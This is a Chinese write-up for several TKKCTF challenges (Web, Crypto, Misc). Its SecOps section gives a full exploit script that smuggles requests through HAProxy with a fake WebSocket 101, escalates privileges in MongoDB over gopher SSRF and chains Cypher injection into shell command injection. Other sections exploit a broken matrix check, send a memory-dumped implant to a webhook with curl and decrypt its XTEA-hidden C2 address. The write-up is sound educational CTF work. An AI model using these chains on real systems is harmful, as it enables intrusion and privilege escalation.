本篇wp还总结了本届TKKCTF在使用新版docker与xinted时,在Pwn方向上题/出题阶段遇到的问题的解决方法,以及密码题Isomorphia_revenge出现非预期解的原因与解决方法,希望能给各位校外师傅将来出题提供点帮助,再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员,TKKC Sec因为有你们而变得更好~
Web
Eat
Real or AI
本题灵感来源于

有很多人在群里晒自己的得分,不过这对一个训练有素的hacker来说应该想要多高就有多高
网页内容基本没有变化,先来看看怎么修改得分
最低1张图1局,我们就先随便玩一局看看显示结果的页面有什么值得注意的内容

运气不太好。此时你如果只是想到群里晒得分,可以直接修改HTML的内容

可是这样一点也不真实,左边的圆圈应该要随正确的比例填满,所以直接修改HTML的方法显然不是最好的,因此我们就要进一步看看前端还有什么别的实现

在js部分发现了这个

资源结构很简单,出了这个js外没有别的脚本,因此应该只要分析这个脚本就行。
分析过前端逆向的人应该都知道,前端逻辑代码大部分都是经过混淆或者加密处理的,这个网页也不意外,所以如果直接通过打随机断点去分析,工作量会很大。因此我们需要找到一个明显又值得关注的东西,回到刚才我们随便玩的一局里,观察到“score”这个字符串,负责表示分数,所以我们就随便搜一搜

范围一下被缩小到了6个,所以我们就只需要观察这6个地方的逻辑,应该就能找到突破口
通过观察,最后可以将目标锁定在这个结果

为什么是这里?这是6个结果中的第2个,如果我们把刚才的6个结果都看过去,可以在第6个结果中看到这样一段

通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西,而后面这三个值被赋给了Yy,也就是6个结果中第2个结果的那个函数,所以如果能操控Yy,很大概率我们就可以控制最后的输出结果。
我没有对Yy做很细致的分析,不过粗略的看一眼也能获得证实我们上面想法的线索

如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮,会发现他会复制一段话,而这段话的片段很明显就是这几行代码组成的,因此这更加证实了Yy就是负责最后输出页面内容的函数。
而经过对这几行代码的分析也有别的发现,那就是变量o,这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里,会发现o变量就是由totalRounds和score组成的

所以思路到此就很清晰了,我们可以尝试在o变量被赋值的地方下条件断点,让o使用我们自己定义的e和t,就能达到随意控制最终输出结果的目的。


此时我们再去玩一局,就会发现成功触发断点

放行全部断点后就能得到

此时如果你只是想炫耀999的截图任务,就已经完成了。但对于CTF选手来说,走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法

如果你头铁,可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag,那就看看后3个

很明显这就是我们要找的东西,获得方法也很简单,e和t我们刚才都已经分析过(理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么,当然也不乏可以猜出来)写个计算sha256的脚本就能解决
#!/bin/bash
e=999
t=999
salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的,需要你自己替换
msg="${salt}${e}${t}"
hash=$(echo -n "$msg" | sha256sum | awk '{print $1}')
curl "https://47.122.52.77:33695/secrets/$hash.txt"

SecOps
访问题目,被重定向至登录页面
在登录页面可以发现一个下载接口/common/download?file=

并且在前端页面可以发现提示

得到src.zip,接下来开始代码审计
拿到源码后,我们需要登录后台。查看 middleware/admin.js 可知,只有 permission === 'administrator' 的用户才能访问 /admin/ops。注册的新用户默认是 user 权限。

所以先来研究一下怎么成为管理员。
查看 entrypoint.sh,发现 MongoDB 无密码启动 (--noauth),监听在 127.0.0.1:27017

查看 conf/haproxy.conf,发现是它反代了后端 Node.js 服务

在 routes/generic.js 中存在两个健康检查接口:


有个值得关注的点,就是这两个健康检查接口虽然实现的功能很像但实现的方式却截然不同。/healthcheck直接使用axios去访问,而-dev则使用了一个另外的实现方法getUrlStatusCode

可以发现他的原理是直接去调用系统环境中的curl。而这两者有个很大的差异就是,axios只支持HTTP/HTTPS,而curl支持的协议则更多,其中就包括Gopher。
并且在刚才的conf/haproxy.conf 中可以发现其配置了禁止外部直接访问 /healthcheck-dev。

而结合前面的Mongodb无密码启用的发现,就可以整理出第一条粗糙的攻击链:
想办法利用二次 SSRF,让 /healthcheck去访问本机内部的 /healthcheck-dev,再由 /healthcheck-dev 通过 Gopher 协议去攻击 MongoDB
也就是: 攻击者 -> HAProxy -> /healthcheck -> Localhost:3000/healthcheck-dev -> curl (Gopher) -> MongoDB
但有个很明显的问题,就是在/healthcheck中还有另一个发现,也就是他会对他要请求的内容做check(),确保你不是在用它ssrf

连这条路都被封掉的话,似乎看所有常规能走的路全都被堵死了。但是,我们到目前为止的所有分析其实都没有跳出一个web选手的思维定式:正常情况下,只能使用传统HTTP协议
设想一下,如果能够找到一种方式,让haproxy无视对HTTP协议的解析,直接转发我们的原生TCP流量,也许就有一线可能去直接访问/healthcheck-dev?
如果有了这个思路,就说明已经成功了一半,首先我们要明确Haproxy在做的事情其实就是反向代理,而在Hacktivity 2019 大会上,Mikhail Egorov发表了一项有趣的研究:如果发出请求并且响应代码是用户可控制的 101,代理服务器会被欺骗,误以为这是一个 WebSocket 连接,从而保持 TCP 连接打开。由于 TCP 连接没有关闭,服务器会继续监听并转发流中提供的更多任意请求。(https://github.com/0ang3el/websocket-smuggle)
意思就是,如果我们能告诉Node.js我们要使用WebSocket而非传统的HTTP请求,就可以建立一条WebSocket隧道,以此达到直接访问/healthcheck-dev的目的
我们假设上面的研究成果如果能被用在这里,那么重新整理一下思路,此时我们的目标就是注册一个普通用户,利用 Gopher 协议发送 MongoDB 的 OP_UPDATE 指令,修改 users 集合中我们自己账号的 permission 字段。 。一切就通顺了
而要达到研究成果中的目的,就需要自己起一个远端服务来响应一个101状态码,“告诉”Node.js我们要使用Websocket
这里我就把exp放出来供大家参考
import socket
import threading
import time
import struct
import urllib.parse
import sys
TARGET_HOST = "127.0.0.1" #靶机ip地址
TARGET_PORT = 8989 #靶机端口
#你所注册的用户的cookie
MY_COOKIE = "s%3AcKFnCOl6Ir6wgacQV_tPfRrNUcDZtgw9.Grx5vBFSn%2BJi8aBSjCwJJ7Wdm8v40AQ8G4JmZVFfyeg"
#你所注册的用户的用户名
MY_USERNAME = "akared"
#公网vps地址
LOCAL_IP = "1.1.1.1"
ROGUE_PORT = 54321
def make_bson_string(key, value):
key_bytes = key.encode() + b'\x00'
val_bytes = value.encode() + b'\x00'
val_len = struct.pack("<I", len(val_bytes))
return b'\x02' + key_bytes + val_len + val_bytes
def build_mongo_payload():
selector_element = make_bson_string("username", MY_USERNAME)
selector_len = 4 + len(selector_element) + 1
selector = struct.pack("<I", selector_len) + selector_element + b'\x00'
inner_element = make_bson_string("permission", "administrator")
inner_len = 4 + len(inner_element) + 1
inner_doc = struct.pack("<I", inner_len) + inner_element + b'\x00'
set_key = b'$set\x00'
update_element = b'\x03' + set_key + inner_doc
update_len = 4 + len(update_element) + 1
update = struct.pack("<I", update_len) + update_element + b'\x00'
full_collection_name = b"percetron.users\x00"
flags = 0
op_code = 2001 # OP_UPDATE
request_id = 1234
response_to = 0
message = b""
message += b"\x00\x00\x00\x00" # ZERO
message += full_collection_name
message += struct.pack("<I", flags)
message += selector
message += update
message_length = 16 + len(message)
header = struct.pack("<iiii", message_length, request_id, response_to, op_code)
payload = ""
for b in (header + message):
payload += "%{:02x}".format(b)
return "gopher://127.0.0.1:27017/_" + payload
def rogue_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind(('0.0.0.0', ROGUE_PORT))
s.listen(1)
while True:
conn, addr = s.accept()
conn.recv(1024)
#发送裸101响应
resp = (
"HTTP/1.1 101 Switching Protocols\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
conn.sendall(resp.encode())
time.sleep(3) #保持连接
conn.close()
break
except Exception as e:
print(f"{e}")
finally:
s.close()
def attack():
t = threading.Thread(target=rogue_server)
t.daemon = True
t.start()
time.sleep(1)
gopher_url = build_mongo_payload()
target_ssrf_url = f"/healthcheck-dev?url={urllib.parse.quote(gopher_url)}"
rogue_url = f"http://{LOCAL_IP}:{ROGUE_PORT}/"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_HOST, TARGET_PORT))
req_a = (
f"GET /healthcheck?url={rogue_url} HTTP/1.1\r\n"
f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
f"Cookie: connect.sid={MY_COOKIE}\r\n"
f"\r\n"
)
s.sendall(req_a.encode())
time.sleep(0.5)
req_b = (
f"GET {target_ssrf_url} HTTP/1.1\r\n"
f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
f"Cookie: connect.sid={MY_COOKIE}\r\n"
f"\r\n"
)
s.sendall(req_b.encode())
try:
s.settimeout(5)
while True:
data = s.recv(4096)
if not data: break
print(data.decode(errors='ignore'), end='')
except socket.timeout as e:
#print(f"{e}")
print("Time Out")
s.close()
print("\nAttack finish")
if __name__ == "__main__":
attack()
看到502或者Socket Hang Up是正常现象,也说明mongodb成功修改。因为我们发送的 Gopher Payload 是“走私”进去的,这会导致后端 Node.js 处理异常或者 TCP 连接状态错乱,也就是因此报出 502。
重新登录,与原页面对比看到出现管理员面板即表示成功


接下来我们回到routes/panel.js 中
通过比对前端页面,可以发现交给我们可控的参数并不多,根据前端内容找到路由

可以发现后端将我们在前端输入的数据存进了Neo4j,跟进 util/neo4j.js 中的 addCertificate 函数

这里直接使用 JS 模板字符串拼接 Cypher 查询语句(类似 SQL 拼接)。如果我们在证书的 Organization Name 字段里放入单引号 ',就能闭合原本的语句,插入任意 Cypher 指令。
接着回到 routes/panel.js,查看前端页面右上角的备份下载按钮的实现

首先取出所有证书

接着进行路径处理

最后调用@tkkc/archiver库的compress方法,跟进查看lib/archive/index.js

简单粗暴的shell拼接,最后用exec执行。虽然 options.dir 被双引号包裹,但内容是我们可控的。只要输入中包含双引号 ",就能闭合前面的引号,从而执行任意 Shell 命令。
那么到这里,就可以将两个漏洞结合起来,形成第二条完整的攻击链:
构造恶意证书->上传证书,利用Neo4j注入,强行插入一个包含恶意代码作为 file_name的节点->点击备份按钮,后端读取恶意 file_name-> 拼接到 7z 命令 -> 执行Shell命令
假设我们想要执行的命令是 cp /flag.txt ...。 如果我们直接把 file_name 设为 "; cp /flag.txt ...; ",在path.dirname那里,我们的payload会被切成/app,因为 dirname 的作用是获取“父目录”,它会把最后一部分当文件名扔掉,所以我们需要在payload的最末位添加一个#/akared,让 dirname 以为我们的payload是目录,而最后那个 /akared 才是文件名
所以最终的payload就是
x"; cp /flag.txt /app/static/flag.txt; #/akared
最后就是进行X509证书的打包了,可以使用openssl,首先是生成恶意证书 (exp.pem) 和私钥 (exp.key)
openssl req -x509 -newkey rsa:2048 -keyout exp.key -out exp.pem -days 365 -nodes -subj "/C=CN/ST=Fujian/L=Xiamen/O=' }) CREATE (:Certificate {common_name: 'PWN', file_name: 'x\"; cp \/flag* \/app\/static\/css\/pwned.txt; #\/akared', country_name: 'CN/CN=tkkc"
接着在相同目录下提取公钥 (exp.pub)
openssl rsa -in exp.key -pubout -out exp.pub
将生成的三个文件分别输入,最后点击保存,点击右上角下载按钮即可触发执行,最后访问/assets/css/flag.txt即可


Crypto
Isomorphia
题目连接后,服务端会生成两个矩阵:
- G (Source Basis):一个 k x n 的随机矩阵(k=14, n=26)。
- H (Target Basis):G 经过某种变换后的结果,即 H = RREF(G * Q),其中 Q 是服务端保密的单项矩阵(Monomial Matrix)。
需要提交两个矩阵 U (k x k) 和 P (n x n),通过以下三项检查才能获得 Flag:
- 等价性检查:U * G * P = H
- 可逆性检查:U 和 P 必须可逆。
- 结构检查:P 必须是一个单项矩阵。
单项矩阵是指每一行和每一列都有且仅有一个非零元素的矩阵(广义置换矩阵)。通常求解这个问题需要复杂的算法(如信息集解码 ISD 或正则形式匹配)。
但是通过审计题目源码,我们可以在 check_solution 逻辑中发现了一个严重的逻辑漏洞:
for row in P_cand:
if list(row).count(0) != self.n - 1:
pass
可以看出开发者本意应该是“如果矩阵 P 不是单项矩阵,则验证失败”。但在代码中,当检测到某一行不符合要求时,执行了 pass 语句,而没有将 is_valid 标记为 False,也没有 return 或 break,最终导致服务端的“单项矩阵”结构检查完全失效。所以我们提交的 P 矩阵不需要是单项矩阵,它可以是任意形式的可逆矩阵。这就将原本困难的“单项等价问题”降维成了最基础的**“线性方程组求解”**问题。只要找到任意满足 U * G * P = H 的矩阵即可。
既然 P 可以是任意矩阵,我们可以利用分块矩阵的方法快速构造一个特解。
- G:k x n 矩阵。
- H:k x n 矩阵,且为行最简形式(RREF)。通常 H 的左边 k x k 部分是单位阵 I_k。即 H = [I_k | C]。
我们需要先让 G 的左边也变成单位阵 I_k。 取 G 的前 k 列子矩阵 G0。在有限域上,G0 极大概率可逆。 令 U = G0^(-1)。 此时:
U * G = G0^(-1) * [G0 | G_rest] = [I_k | G0^(-1) * G_rest]
记 B = G0^(-1) * G_rest,则中间结果 A = U * G = [I_k | B]。
现在的目标是寻找 P,使得 [I_k | B] * P = [I_k | C]。 我们可以构造一个上三角分块矩阵作为 P:
P = [ I_k D ]
[ 0 I_nk ]
显然 P 是可逆的。代入验算:
[I_k | B] * P = [I_k * I_k + B * 0 | I_k * D + B * I_nk]
= [I_k | D + B]
我们需要结果等于 H = [I_k | C],即要求:
D + B = C => D = C - B
所以只需要计算 D = C - B,然后构造出稠密矩阵 P即可,exp如下
from pwn import *
from sage.all import *
import re
HOST = '47.122.52.77'
PORT = 33693
context.log_level = 'info'
def parse_matrix(s, rows, cols):
# 提取所有匹配 整数 或 负整数 的字符串
tokens = re.findall(r'-?\d+', s)
# 转换为整数列表
data = [int(x) for x in tokens]
#if len(data) != rows * cols:
# print(f"{len(data)}")
# print(f"{s[:100]} {s[-100:]}")
# exit(1)
return matrix(GF(127), rows, cols, data)
try:
io = remote(HOST, PORT)
except:
print(f"[-] Connection failed to {HOST}:{PORT}")
exit(1)
# 1. 获取矩阵 G 和 H
# 先读掉菜单头部,确保干净
io.recvuntil(b'uit')
io.sendline(b'g')
# 读取 G: 从 "G = " 开始,一直读到 "H =" 出现之前
io.recvuntil(b'G = ')
G_str = io.recvuntil(b'H = ', drop=True).decode()
# 读取 H: 从当前位置一直读到 "Options" 出现之前
# 这样能把 H 的多行内容全部读进来
H_str = io.recvuntil(b'Options', drop=True).decode()
# 题目参数
n = 26
k = 14
F = GF(127)
G = parse_matrix(G_str, k, n)
H = parse_matrix(H_str, k, n)
# 2. 构造 U (使 G 左边变为单位阵)
G0 = G[:, 0:k]
U = G0.inverse()
# 3. 计算中间状态
A = U * G
B = A[:, k:n]
C = H[:, k:n]
# 4. 构造 P (利用 pass 漏洞提交非单项矩阵)
# P = [ I C-B ]
# [ 0 I ]
D = C - B
I_k = identity_matrix(F, k)
I_nk = identity_matrix(F, n - k)
Zero = matrix(F, n - k, k)
P_top = I_k.augment(D)
P_bottom = Zero.augment(I_nk)
P = P_top.stack(P_bottom)
# 本地验证
if U * G * P == H:
print("Success localy")
else:
print("Localy failed!")
exit(1)
io.sendline(b's')
io.recvuntil(b'row by row: ')
for row in U:
line = ','.join(map(str, row))
io.sendline(line.encode())
io.recvuntil(b'row by row: ')
for row in P:
line = ','.join(map(str, row))
io.sendline(line.encode())
io.interactive()
Isomorphia_revenge
本题特别感谢 zsm 在测试阶段发现了上一题的问题并提供的修正建议
在开始讲解预期解前插个题外话, @滑稽 师傅的在比赛时发现的非预期解的修复办法放在了wp的“一些问题”板块,如果有兴趣研究修复方案可以移步至底下(持续更新ing……)
这题对比上一题,只改了一个地方,也就是在原本pass掉的地方加上了is_falid=false判断。
修补了 pass 漏洞和 @滑稽 师傅的"保活"漏洞后,回归到本题的数学本质,这道题在学术界被称为 线性码等价问题 (Linear Equivalence Problem, LEP)
简而言之,给定两个生成矩阵 G 和 H,我们需要找到一个单项矩阵 (Monomial Matrix) P 和一个可逆矩阵 U,使得:
H = U · G · P
关于 LEP 的详细理论分析,可以参考论文https://eprint.iacr.org/2020/801.pdf 根据 Linear Equivalence Estimator (Estimator Link) 的估算,在题目给定的参数下 (q=127, n=26, k=14),该问题的求解复杂度大约为 2^22。这个计算量在现代计算机上属于秒解范畴
而针对 LEP 问题,github中已经存在成熟的开源实现,可以参考这两个仓库:
lep-cf: https://github.com/juliannowakowski/lep-cf/tree/main (基于正则形式算法)
LESS: https://github.com/paolo-santini/LESS_project/tree/main
这里我们就用 @juliannowakowski 大神的lep-cf项目来写exp
该库实现了一种基于 Canonical Forms (正则形式) 的改进算法,能够高效地恢复出单项变换矩阵 P
解题脚本需要依赖 lep-cf 项目中的 lep_solver.sage 和 utils.sage两个包,可以自行获取
不过还有一点需要注意的是,lepCollSearch 算法是概率性的,更准确地说是基于**生日悖论(Birthday Paradox)**的碰撞搜索。单次运行找到至少一个碰撞(即成功解出 P)的概率约为40%。
这意味着,脚本运行一次有大约 60% 的概率会失败(返回 None)。 虽然单次运行只需几秒钟,但如果不加循环重试机制,直接运行提供的 exp 很有可能会报错退出。当然,也可以选择多运行几遍,踩中40%的概率就行。
from pwn import remote
from re import findall
# from sage.all import *
q = 127
k,n = 26,14
io = remote("127.0.0.1", "8989")
io.recvuntil(b'uit\n')
io.sendline(b'g')
io.recvuntil(b'G = ')
Glist = io.recvuntil(b'\nH')[:-2].decode()
io.recvuntil(b'= ')
Hlist = io.recvuntil('\n┃'.encode())[:-4].decode()
def parse_matrix(s):
rows = s.split('\n')
matrix = []
for row in rows:
if row.strip():
matrix.append([int(x) for x in findall(r'\d+', row)])
return matrix
F = GF(q)
G = matrix(F, parse_matrix(Glist))
H = matrix(F, parse_matrix(Hlist))
load("utils.sage")
load("lep_solver.sage")
q = 127
n = 26
k = 14
Fq = GF(q)
# G1 = random_matrix(Fq, k, n)
# Q = randomMonomial(n, q)
# G2 = (G1*Q).echelon_form()
result = lepCollSearch(G, H)
if result != None:
U, P = result
# assert G2 == U*G1*P
assert H == U*G*P
_U,_P = result
print(_U*G*_P==H)
print(_U.dimensions())
print(_P.dimensions())
io.recvuntil(b"uit\n")
io.sendline(b"s")
io.recvuntil(b"Please send the matrix U row by row: ")
print(_U.dimensions())
print(_P)
for i in range(14):
print(str(list(_U[i]))[1:-1])
io.sendline(str(list(_U[i]))[1:-1].encode())
io.recvuntil(b"Now, please send the matrix P row by row: ")
for _ in range(n):
print(str(list(_P[_]))[1:-1])
io.sendline(str(list(_P[_]))[1:-1].encode())
io.interactive()
print(io.recvline().decode())
Misc
Screen Shot
给的日志中有很多干扰信息,有用的其实只有这一段

紧挨着Groom Dry Lake的正是美国的一个著名军事基地——51区

又或者可以通过traceroute记录判断出是51区。路由记录中断的地点Nellis是一个著名的空军基地,而其核心区域就是51区


因此,我们可以直接在谷歌地图中把方位缩小到51区。并且注意到刚才在Groom Dry Lake那段话的前面有一个NW Apron,Apron意为停机坪,NW意为西北,因此我们可以在Google map所给的51区坐标的西北方向上找,最终找到一架在停机坪上的黑色直升机

Operation Ghost
这题是比赛前一天临时出的,主要是不忍心TKKC Sec OS那题pwn整了半天没整好的内核荒废掉……正好听 zsm 说邀请了取证大神前来交流,于是临时改变主意拿来出了这道题
很抱歉本题给各位师傅带来的不良体验,本题的故障原因可以移步至“一些问题”板块查看
感谢Aristore师傅发现并反馈本题wp中的错误
根据题目描述可知,没有发现可疑文件,因此可以将注意力放在进程上
发现一个可疑进程

题目环境中提供了strace,可以使用strace -p 44的方式观察这个程序的一些行为,会发现它每隔20秒就会重新运行一次

由于没有文件落地,因此只能将正在内存中运行的程序复制出来。

而且环境中没有提供更多有用的工具,且经过测试环境是出网的

而且环境给了curl,所以可以将其上传到webhook拿出来


从start函数开始分析,发现主函数,重新命名为main


strcpy(*a2, "[kworker/u4:0]"); 它把自己伪装成 kworker/u4:0 线程,试图欺骗系统管理员;sub_40191A 是现在的核心负载函数,进一步分析:发现需要找到TKKC_AUTH_TOKEN且解出两段加密过后的信息。后半段代码中发现有GET请求,于是知道隐藏的信息是url和ua。


先是加密算法分析:


在 sub_4016E5 函数中发现了一个 32 次的循环结构,涉及移位、异或和加减运算,疑似 Feistel 结构的加密算法。
观察内部逻辑,发现特征运算 (v << 4) ^ (v >> 5)。同时,注意到密钥的选取方式依赖于 sum 的值,即 key[(sum >> 11) & 3] 和 key[sum & 3]。常量 1640531527 的十六进制为 0x61C88647。考虑到 32 位整数溢出,0x61C88647 + 0x9E3779B9 = 0x100000000 (0),因此 sum += 0x61C88647 等价于 sum -= 0x9E3779B9(标准的 Golden Ratio Delta)。所以确认是XTEA算法。
接下来提取出密文然后逆向:


解密exp如下:
import struct
def get_key():
token = "X-TKKC-Key-2025"
h = 0x811C9DC5
prime = 0x01000193
for char in token:
h ^= ord(char)
h = (h * prime) & 0xFFFFFFFF
key = [0] * 4
key[0] = h
LCG_A, LCG_C = 1664525, 1013904223
key[1] = (key[0] * LCG_A + LCG_C) & 0xFFFFFFFF
key[2] = (key[1] * LCG_A + LCG_C) & 0xFFFFFFFF
key[3] = (key[2] * LCG_A + LCG_C) & 0xFFFFFFFF
return key
def xtea_decrypt(v0, v1, key):
sum_val = 0xC6EF3720
delta = 0x9E3779B9
for i in range(32):
# Round 1 (v1)
part_a = ((v0 << 4) ^ (v0 >> 5)) + v0
part_b = sum_val + key[(sum_val >> 11) & 3]
v1 = (v1 - (part_a ^ part_b)) & 0xFFFFFFFF
# Update Sum
sum_val = (sum_val - delta) & 0xFFFFFFFF
# Round 2 (v0)
part_a = ((v1 << 4) ^ (v1 >> 5)) + v1
part_b = sum_val + key[sum_val & 3]
v0 = (v0 - (part_a ^ part_b)) & 0xFFFFFFFF
return v0, v1
def decrypt_bytes(hex_str, key):
data = bytes.fromhex(hex_str.strip().replace(" ", "").replace("\n", ""))
res = b""
for i in range(0, len(data), 8):
block = data[i:i+8]
if len(block) < 8: break
v0, v1 = struct.unpack("<II", block)
d0, d1 = xtea_decrypt(v0, v1, key)
res += struct.pack("<II", d0, d1)
return res.rstrip(b'\x00').decode('utf-8', errors='ignore')
KEY = get_key()
c2_hex = "AB80054BE00A849D2C1EC3EA790B550D240826D0418F330AEEB4B41F99475C2BFA5EF5FDF3E9853BEC7A64D7EA147D8EFB2070735DD65F63135BF1B064C2106CC1B14B72B7518373"
ua_hex = "EB3E705C8A8DED9C8F54C9267173A696D47E46BE0CADCA23"
print("[*] Key Used:", [hex(k) for k in KEY])
print("-" * 40)
print(f"[+] Decrypted C2 URL: {decrypt_bytes(c2_hex, KEY)}")
print(f"[+] Decrypted User-Agent:{decrypt_bytes(ua_hex, KEY)}")
print("-" * 40)

回到靶机,读取环境变量可以发现token

TKKC_AUTH_TOKEN=X-TKKC-Key-2025
拿到onion网址后,可以用Tor Browser访问。不过我个人更喜欢用curl,因此可以在启动Tor Browser后使用其启动的socks5代理直接访问Tor网络

根据在逆向时获取到的UA,加上后即可得到一串16进制字符串
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147af
用相同解密方法解出后即可得到
更正:使用了上面提到的相同的token进行异或运算
xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_C0nfig}
提交后会发现不是正确flag,仔细观察flag会发现提示正确的在config,因此加上/config路径得到另一串字符串
20583e28300b1e2a014a5f416f73476b720023781c66781c2679026f665d6b72107f39285a7807264f44446d476b4c38147ad
解密后得到
xujc{H3ad3rs_Ar3_Th3_K3y_T0_Th3_D4rkw3b_bvt_r3al_1n_3M41l}
提交后发现仍然不是正确的flag,再次观察flag发现这回提示在email,访问email路径重新访问/config后发现没有反应,给curl添加-v参数后发现一个X-Emergency-Contact头部


搜索后发现是个临时邮箱,输入地址即可查看其发送过的邮件

一些问题
关于Pwn题可以正常启动但无法正常连接的问题
持续更新ing…
关于Operation Ghost题目环境遇到的问题
非常抱歉本题给各位师傅带来的不佳体验,据vps后台监控记录,本题提供的Tor网站环境大约在2025年12月7日早上5点左右开始不断受到来自其他Tor节点的DDos攻击,此次攻击导致了服务严重不稳定乃至占用大量CPU资源,致使部分选手在预期时间内无法正常解题。对于此次因网络攻击导致的技术故障,再次致以歉意。
Isomorphia_revenge的非预期解决方案
持续更新ing…